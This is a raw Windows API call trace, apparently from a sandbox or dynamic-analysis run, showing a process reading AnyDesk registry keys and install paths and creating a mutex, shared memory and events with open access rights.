[0283.723] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19734c0 [0283.724] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa8d0 [0283.724] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19734e8 [0283.724] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19734c0 | out: hHeap=0x1930000) returned 1 [0283.724] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1653c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.724] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962658 [0283.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1653c, cbMultiByte=-1, lpWideCharStr=0x1962658, cchWideChar=21 | out: lpWideCharStr="ad.anynet.network_id") returned 21 [0283.724] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962738 [0283.724] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964f20 [0283.724] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19627a8 [0283.724] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa8f0 [0283.724] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19627e0 [0283.724] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19627a8 | out: hHeap=0x1930000) returned 1 [0283.725] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962658 | out: hHeap=0x1930000) returned 1 [0283.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.725] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x1962658 [0283.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead78, cbMultiByte=-1, lpWideCharStr=0x1962658, cchWideChar=23 | out: lpWideCharStr="ad.anynet.network_hash") returned 23 [0283.725] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19627a8 [0283.725] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964f30 [0283.725] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x1962818 [0283.725] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa910 [0283.725] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x1962850 [0283.725] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962818 | out: hHeap=0x1930000) returned 1 [0283.726] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962658 | out: hHeap=0x1930000) returned 1 [0283.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c08c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0283.726] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990718 [0283.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c08c, cbMultiByte=-1, lpWideCharStr=0x1990718, cchWideChar=28 | out: lpWideCharStr="ad.anynet.client_stats_hash") returned 28 [0283.726] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x19907d8 [0283.726] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964f40 [0283.726] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990798 [0283.726] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa930 [0283.726] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990858 [0283.726] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990798 | out: hHeap=0x1930000) returned 1 [0283.727] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990718 | out: hHeap=0x1930000) returned 1 [0283.727] GetLastError () returned 0x0 [0283.727] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x5f6150, lpParameter=0x1977558) returned 0x16f70a0 [0283.728] GetLastError () returned 0x0 [0283.728] GetSystemTime (in: lpSystemTime=0x294b218 | out: lpSystemTime=0x294b218*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x82)) [0283.728] GetCurrentThreadId () returned 0x5d8 [0283.728] GetCurrentProcessId () returned 0x51c [0283.728] GetLastError () returned 0x0 [0283.728] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20019, phkResult=0x294b354 | out: phkResult=0x294b354*=0x208) returned 0x0 [0283.729] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19855b8 | out: hHeap=0x1930000) returned 1 [0283.729] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964f50 [0283.729] RegQueryValueExW (in: hKey=0x208, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x294b308, lpData=0x0, lpcbData=0x294b30c*=0x0 | out: lpType=0x294b308*=0x1, lpData=0x0, lpcbData=0x294b30c*=0x32) returned 0x0 [0283.729] RegQueryValueExW (in: hKey=0x208, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x0, lpData=0x294b2c0, lpcbData=0x294b30c*=0x34 | out: lpType=0x0, lpData=0x294b2c0*=0x22, lpcbData=0x294b30c*=0x32) returned 0x0 [0283.729] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990718 [0283.729] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964f50 | out: hHeap=0x1930000) returned 1 [0283.729] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x1962658 [0283.729] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990718 | out: hHeap=0x1930000) returned 1 [0283.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.729] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1964f50 [0283.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x1964f50, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.730] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19731c8 [0283.730] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x198c378 [0283.730] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962658 | out: hHeap=0x1930000) returned 1 [0283.730] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.730] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964f50 | out: hHeap=0x1930000) returned 1 [0283.730] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964f50 [0283.730] RegQueryValueExW (in: hKey=0x208, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x294b308, lpData=0x0, lpcbData=0x294b30c*=0x0 | out: lpType=0x294b308*=0x1, lpData=0x0, lpcbData=0x294b30c*=0x12) returned 0x0 [0283.730] RegQueryValueExW (in: hKey=0x208, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x0, lpData=0x294b2e0, lpcbData=0x294b30c*=0x14 | out: lpType=0x0, lpData=0x294b2e0*=0x61, lpcbData=0x294b30c*=0x12) returned 0x0 [0283.730] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x19aa950 [0283.730] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964f50 | out: hHeap=0x1930000) returned 1 [0283.730] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1964f50 [0283.730] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa950 | out: hHeap=0x1930000) returned 1 [0283.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.730] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1964f60 [0283.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x1964f60, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.730] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964f60 | out: hHeap=0x1930000) returned 1 [0283.731] RegQueryValueExW (in: hKey=0x208, lpValueName="VersionMajor", lpReserved=0x0, lpType=0x294b358, lpData=0x294b354, lpcbData=0x294b360*=0x4 | out: lpType=0x294b358*=0x4, lpData=0x294b354*=0x7, lpcbData=0x294b360*=0x4) returned 0x0 [0283.731] RegQueryValueExW (in: hKey=0x208, lpValueName="VersionMinor", lpReserved=0x0, lpType=0x294b360, lpData=0x294b368, lpcbData=0x294b358*=0x4 | out: lpType=0x294b360*=0x4, lpData=0x294b368*=0x0, lpcbData=0x294b358*=0x4) returned 0x0 [0283.731] RegQueryValueExW (in: hKey=0x208, lpValueName="VersionBuild", lpReserved=0x0, lpType=0x294b360, lpData=0x294b36c, lpcbData=0x294b358*=0x4 | out: lpType=0x294b360*=0x4, lpData=0x294b36c*=0x7, lpcbData=0x294b358*=0x4) returned 0x0 [0283.731] RegQueryValueExW (in: hKey=0x208, lpValueName="VersionTimestamp", lpReserved=0x0, lpType=0x294b314, lpData=0x294b348, lpcbData=0x294b318*=0x8 | out: lpType=0x294b314*=0xb, lpData=0x294b348*=0x1263e8c2a8e0, lpcbData=0x294b318*=0x8) returned 0x0 [0283.731] PathFileExistsW (pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0283.731] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964f50 | out: hHeap=0x1930000) returned 1 [0283.731] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c378 | out: hHeap=0x1930000) returned 1 [0283.731] RegCloseKey (hKey=0x208) returned 0x0 [0283.731] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x1964f50 [0283.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.731] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964f60 [0283.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1964f60, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.732] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964f70 [0283.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1964f70, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.732] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964f60 | out: hHeap=0x1930000) returned 1 [0283.732] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1964f60 [0283.732] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964f70 | out: hHeap=0x1930000) returned 1 [0283.732] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964f60 | out: hHeap=0x1930000) returned 1 [0283.732] GetLastError () returned 0x0 [0283.732] GetSystemTime (in: lpSystemTime=0x294b360 | out: lpSystemTime=0x294b360*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x82)) [0283.732] GetCurrentThreadId () returned 0x5d8 [0283.732] GetCurrentProcessId () returned 0x51c [0283.732] GetLastError () returned 0x0 [0283.732] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.listenport", lpReserved=0x0, lpType=0x294b260, lpData=0x0, lpcbData=0x294b264*=0x0 | out: lpType=0x294b260*=0x0, lpData=0x0, lpcbData=0x294b264*=0x0) returned 0x6 [0283.732] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b28c | out: phkResult=0x294b28c*=0x0) returned 0x2 [0283.733] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961d80 | out: hHeap=0x1930000) returned 1 [0283.733] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969770 [0283.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.733] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969780 [0283.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969780, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.733] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969780 | out: hHeap=0x1930000) returned 1 [0283.733] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x33) returned 0x1990718 [0283.733] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961d80 [0283.733] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990718 | out: hHeap=0x1930000) returned 1 [0283.733] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969780 [0283.733] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196b9e8 [0283.734] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962818 [0283.734] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969780 | out: hHeap=0x1930000) returned 1 [0283.734] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969770 | out: hHeap=0x1930000) returned 1 [0283.734] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961db0 [0283.734] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.listenport", lpReserved=0x0, lpType=0x294b260, lpData=0x0, lpcbData=0x294b264*=0x0 | out: lpType=0x294b260*=0x0, lpData=0x0, lpcbData=0x294b264*=0x0) returned 0x6 [0283.734] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b28c | out: phkResult=0x294b28c*=0x0) returned 0x2 [0283.735] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961db0 | out: hHeap=0x1930000) returned 1 [0283.735] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969750 | out: hHeap=0x1930000) returned 1 [0283.735] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969750 [0283.735] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969760 | out: hHeap=0x1930000) returned 1 [0283.735] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969750 | out: hHeap=0x1930000) returned 1 [0283.735] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961db0 [0283.735] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xac) returned 0x1977610 [0283.735] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x5f6150, lpParameter=0x1977610) returned 0x16f73a0 [0283.736] GetLastError () returned 0x0 [0283.736] GetSystemTime (in: lpSystemTime=0x294b268 | out: lpSystemTime=0x294b268*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x92)) [0283.736] GetCurrentThreadId () returned 0x5d8 [0283.736] GetCurrentProcessId () returned 0x51c [0283.736] GetLastError () returned 0x0 [0283.736] GetSystemTime (in: lpSystemTime=0x294b364 | out: lpSystemTime=0x294b364*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x92)) [0283.736] GetCurrentThreadId () returned 0x5d8 [0283.736] GetCurrentProcessId () returned 0x51c [0283.736] GetLastError () returned 0x0 [0283.736] GetProcessTimes (in: hProcess=0x208, lpCreationTime=0x294b25c, lpExitTime=0x294b254, lpKernelTime=0x294b254, lpUserTime=0x294b254 | out: lpCreationTime=0x294b25c, lpExitTime=0x294b254, lpKernelTime=0x294b254, lpUserTime=0x294b254) returned 1 [0283.737] GetProcessId (Process=0x208) returned 0x51c [0283.737] ProcessIdToSessionId (in: dwProcessId=0x51c, pSessionId=0x294b31c | out: pSessionId=0x294b31c) returned 1 [0283.737] CloseHandle (hObject=0x208) returned 1 [0283.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1969790 [0283.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x1969790, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1970d68 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19697a0 [0283.737] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969790 | out: hHeap=0x1930000) returned 1 [0283.737] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697a0 | out: hHeap=0x1930000) returned 1 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19697a0 [0283.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1d7dc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969790 [0283.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1d7dc, cbMultiByte=-1, lpWideCharStr=0x1969790, cchWideChar=4 | out: lpWideCharStr="shm") returned 4 [0283.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19697b0 [0283.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x19697b0, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970df8 [0283.737] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697b0 | out: hHeap=0x1930000) returned 1 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c378 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c3c8 [0283.737] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19697b0 [0283.738] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c378 | out: hHeap=0x1930000) returned 1 [0283.738] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970df8 | out: hHeap=0x1930000) returned 1 [0283.738] GetLastError () returned 0x0 [0283.739] GetSecurityInfo () returned 0x0 [0283.739] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d89a0 [0283.739] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x16d89a0, cbSid=0x294b28c | out: pSid=0x16d89a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x294b28c) returned 1 [0283.739] BuildTrusteeWithSidA () returned 0x294b284 [0283.739] SetEntriesInAclW () returned 0x0 [0283.739] LocalFree (hMem=0x16d89a0) returned 0x0 [0283.739] SetSecurityInfo () returned 0x0 [0283.739] LocalFree (hMem=0x16f0008) returned 0x0 [0283.739] LocalFree (hMem=0x16f76a0) returned 0x0 [0283.740] MapViewOfFile (hFileMappingObject=0x208, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x308) returned 0x190000 [0283.740] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975fc0 | out: hHeap=0x1930000) returned 1 [0283.740] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697b0 | out: hHeap=0x1930000) returned 1 [0283.740] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.740] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969790 | out: hHeap=0x1930000) returned 1 [0283.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0aff0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.741] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969790 [0283.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0aff0, cbMultiByte=-1, lpWideCharStr=0x1969790, cchWideChar=4 | out: lpWideCharStr="mtx") returned 4 [0283.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.741] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19697b0 [0283.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x19697b0, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0283.741] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970df8 [0283.741] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697b0 | out: hHeap=0x1930000) returned 1 [0283.741] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c3c8 [0283.741] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c378 [0283.741] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19697b0 [0283.742] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.742] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970df8 | out: hHeap=0x1930000) returned 1 [0283.742] GetLastError () returned 0x7a [0283.742] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\ad_connect_queue_1308_3747059072_mtx") returned 0x20c [0283.742] GetLastError () returned 0x0 [0283.742] GetSecurityInfo () returned 0x0 [0283.742] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d89a0 [0283.742] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x16d89a0, cbSid=0x294b294 | out: pSid=0x16d89a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x294b294) returned 1 [0283.742] BuildTrusteeWithSidA () returned 0x294b28c [0283.742] SetEntriesInAclW () returned 0x0 [0283.743] LocalFree (hMem=0x16d89a0) returned 0x0 [0283.743] SetSecurityInfo () returned 0x0 [0283.743] LocalFree (hMem=0x16f0008) returned 0x0 [0283.743] LocalFree (hMem=0x16f76a0) returned 0x0 [0283.743] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975fc0 | out: hHeap=0x1930000) returned 1 [0283.743] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697b0 | out: hHeap=0x1930000) returned 1 [0283.743] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c378 | out: hHeap=0x1930000) returned 1 [0283.743] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969790 | out: hHeap=0x1930000) returned 1 [0283.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1d7e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.743] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969790 [0283.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1d7e0, cbMultiByte=-1, lpWideCharStr=0x1969790, cchWideChar=4 | out: lpWideCharStr="evt") returned 4 [0283.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.743] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19697b0 [0283.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0ee18, cbMultiByte=-1, lpWideCharStr=0x19697b0, cchWideChar=2 | out: lpWideCharStr="_") returned 2 [0283.744] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970df8 [0283.744] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697b0 | out: hHeap=0x1930000) returned 1 [0283.744] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c378 [0283.744] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c3c8 [0283.744] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19697b0 [0283.744] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c378 | out: hHeap=0x1930000) returned 1 [0283.744] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970df8 | out: hHeap=0x1930000) returned 1 [0283.744] GetLastError () returned 0x7a [0283.744] GetSecurityInfo () returned 0x0 [0283.744] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x16d89a0 [0283.745] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x16d89a0, cbSid=0x294b294 | out: pSid=0x16d89a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x294b294) returned 1 [0283.745] BuildTrusteeWithSidA () returned 0x294b28c [0283.745] SetEntriesInAclW () returned 0x0 [0283.745] LocalFree (hMem=0x16d89a0) returned 0x0 [0283.745] 